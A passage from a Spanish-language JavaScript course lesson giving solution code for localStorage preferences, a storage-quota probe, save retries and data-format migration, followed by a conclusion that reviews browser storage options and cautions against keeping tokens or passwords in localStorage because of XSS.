    return (valor !== null && typeof valor === 'object') ? valor : respaldo;
  } catch {
    return respaldo;
  }
}

export function leerPreferencias() {
  const guardadas = parsearSeguro(localStorage.getItem(CLAVE_PREFS), {});
  // El spread aplica los defaults SOLO a las claves ausentes: un false guardado se respeta
  return { ...POR_DEFECTO, ...guardadas };
}

export function guardarPreferencia(clave, valor) {
  if (!(clave in POR_DEFECTO)) throw new Error(`Preferencia desconocida: ${clave}`);
  const actuales = leerPreferencias();
  const nuevas = { ...actuales, [clave]: valor };        // actualización inmutable (04-07)
  try {
    localStorage.setItem(CLAVE_PREFS, JSON.stringify(nuevas));
  } catch {
    console.warn('[nomada] No se pudo guardar la preferencia.');
  }
  return nuevas;
}

export function guardarFiltroTemporal(filtro) {
  sessionStorage.setItem(CLAVE_FILTRO, JSON.stringify(filtro));
}

export function leerFiltroTemporal() {
  return parsearSeguro(sessionStorage.getItem(CLAVE_FILTRO), { responsable: null, texto: '' });
}

La clave está en { ...POR_DEFECTO, ...guardadas }: el spread de 04-07 completa solo lo que falta. Si hubieras escrito guardadas.columnasCompactas || POR_DEFECTO.columnasCompactas, un false guardado se convertiría en false por casualidad… pero un 0 o una cadena vacía en otra preferencia se perderían. El spread no tiene ese problema porque distingue ausente de falsy.

Solución 2

export function probarCuota() {
  const CLAVE = '__cuota__';
  const bloque = 'x'.repeat(1024);          // 1 KiB de caracteres (≈2 KB en UTF-16)
  let acumulado = '';
  let kb = 0;

  try {
    // Bucle deliberadamente infinito: sale por la excepción
    for (;;) {
      acumulado += bloque;
      localStorage.setItem(CLAVE, acumulado);
      kb += 1;
    }
  } catch (error) {
    if (error.name !== 'QuotaExceededError' && error.name !== 'SecurityError') throw error;
    console.log(`Cuota aproximada: ${kb} KB de caracteres (~${(kb * 2 / 1024).toFixed(1)} MB reales)`);
    return kb;
  } finally {
    localStorage.removeItem(CLAVE);          // ← se ejecuta pase lo que pase (02-05)
  }
}

export function guardarConReintento(repositorio, tablero, historial) {
  let recorte = [...historial];
  for (let intento = 1; intento <= 3; intento += 1) {
    if (repositorio.guardar(tablero)) {
      return { guardado: true, intentos: intento, historial: recorte };
    }
    recorte = recorte.slice(Math.ceil(recorte.length / 2));   // conserva lo más reciente
    console.warn(`[nomada] Reintento ${intento}: historial recortado a ${recorte.length} entradas.`);
  }
  return { guardado: false, intentos: 3, historial: recorte };
}

El finally es imprescindible: sin él, un fallo dejaría megas de basura ocupando la cuota del usuario. Y fíjate en que slice desde la mitad conserva el final del historial, que es lo reciente y por tanto lo valioso.

Solución 3

const VERSION_ACTUAL = 2;

export function migrar(datos) {
  let actual = datos;

  if (actual.version === 1) {
    actual = {
      version: 2,
      nombre: actual.nombre,
      tareas: actual.tareas.map(({ revisor, ...resto }) => ({
        ...resto,
        revisadaPor: revisor ?? null,      // renombrado
        bloqueadaPor: []                   // campo nuevo con su valor por defecto
      }))
    };
  }

  if (actual.version !== VERSION_ACTUAL) {
    throw new ErrorDeDatos(`No sé migrar la versión ${actual.version}.`);
  }
  return actual;
}
// dentro de RepositorioLocal.cargar(), tras el JSON.parse
let migrado;
try {
  migrado = migrar(datos);
} catch (error) {
  console.warn('[nomada]', error.message);
  this.limpiar();
  return null;
}

if (migrado !== datos) {
  this.#almacen.setItem(this.#clave, JSON.stringify(migrado));   // consolidar la migración
}

return Tablero.importar(JSON.stringify(migrado));

Dos detalles: la desestructuración ({ revisor, ...resto }) de 04-07 elimina la propiedad vieja al mismo tiempo que captura su valor, que es la forma idiomática de renombrar un campo; y la migración solo se escribe al almacén si realmente cambió algo, para no reescribir en cada arranque.

Conclusión

Nómada Tareas ya recuerda. Sabes que el navegador ofrece cinco almacenes con propósitos distintos —cookies para lo que debe viajar al servidor, localStorage y sessionStorage para datos pequeños y síncronos, IndexedDB para volumen y estructura, Cache API para respuestas HTTP— y sabes justificar por qué el proyecto usa localStorage. Dominas los seis miembros de la Web Storage API, y tienes grabado que solo guarda cadenas: de ahí que JSON.stringify y JSON.parse sean obligatorios, que parsearSeguro proteja de datos corruptos, y que el toJSON y el static desdeJSON que escribiste en 05-03 hayan resultado ser exactamente la pieza que faltaba —sin ellos, los campos privados #estado y #horas se habrían perdido en silencio, y al volver tendrías objetos planos sin métodos ni getters—.

Sabes que el origen (protocolo, dominio y puerto) es la frontera del almacén, y por qué cambiar de puerto parece borrar tus datos. Sabes elegir entre persistencia indefinida y duración de pestaña con una pregunta sencilla, sincronizar dos pestañas abiertas con el evento storage —que nunca se dispara en la pestaña que hizo el cambio— y enchufar esa sincronización a los CustomEvent de 06-04 sin tocar la vista. Y conoces las tres formas en que esto falla en producción: la cuota de unos 5 MB con su QuotaExceededError, el modo privado donde acceder puede lanzar SecurityError —de ahí la comprobación que intenta escribir de verdad y el respaldo en memoria—, y el hecho de que sea síncrono y bloquee el hilo, que enlaza directamente con el bucle de eventos de 05-07 y obliga a amortiguar con debounce. Por encima de todo lo técnico queda la advertencia que no debes olvidar: localStorage no está cifrado, no expira y cualquier XSS lo lee entero, así que ni tokens, ni contraseñas, ni datos personales sin base legal y sin revisión de compliance.

Y tienes la primera pieza de la capa de datos: js/datos/repositorio-local.js, con guardar(tablero), cargar() y limpiar(), que descarta lo corrupto, revalida con Tablero.importar porque nunca se confía en lo que sale del almacén, versiona el formato con nomada:tablero:v1 y sabe migrar. La aplicación arranca de lo guardado, cae al backlog inicial si no hay nada, y guarda escuchando los eventos que ya emitía. El modelo no ha cambiado ni una línea.

Pero la persistencia local solo resuelve la mitad del problema que planteaba el cierre del Módulo 6. Marta ya no pierde su trabajo al recargar… y sigue siendo el único que lo ve. Iván tiene su propio localStorage en su portátil, con su propia copia del tablero, y Lucía otra distinta en el suyo. Tres verdades paralelas que nunca se encuentran. Para que el tablero sea el mismo para todo el equipo hacen falta datos que vivan fuera del navegador, en un servidor, y una forma de hablar con él sin recargar la página. Eso es exactamente lo que trae la siguiente lección: Fetch API y AJAX, donde el js/datos/repositorio-local.js que acabas de escribir tendrá un hermano, js/datos/api-tareas.js, y donde por fin sustituirás aquellas funciones leerBacklogSimulado() y guardarInformeSimulado() de 05-06 —las que fingían latencia con setTimeout— por peticiones de verdad.

Curso de JavaScript: De Principiante a Avanzado

Módulo 1: Introducción a JavaScript

Módulo 2: Estructuras de Control

Módulo 3: Funciones

Módulo 4: Objetos y Arrays

Módulo 5: Objetos y Funciones Avanzadas

Módulo 6: El Modelo de Objetos del Documento (DOM)

Módulo 7: APIs del Navegador y Temas Avanzados

Módulo 8: Pruebas y Depuración

Módulo 9: Rendimiento y Optimización

Módulo 10: Frameworks y Librerías de JavaScript

Módulo 11: Proyecto Final

© Copyright 2026. Todos los derechos reservados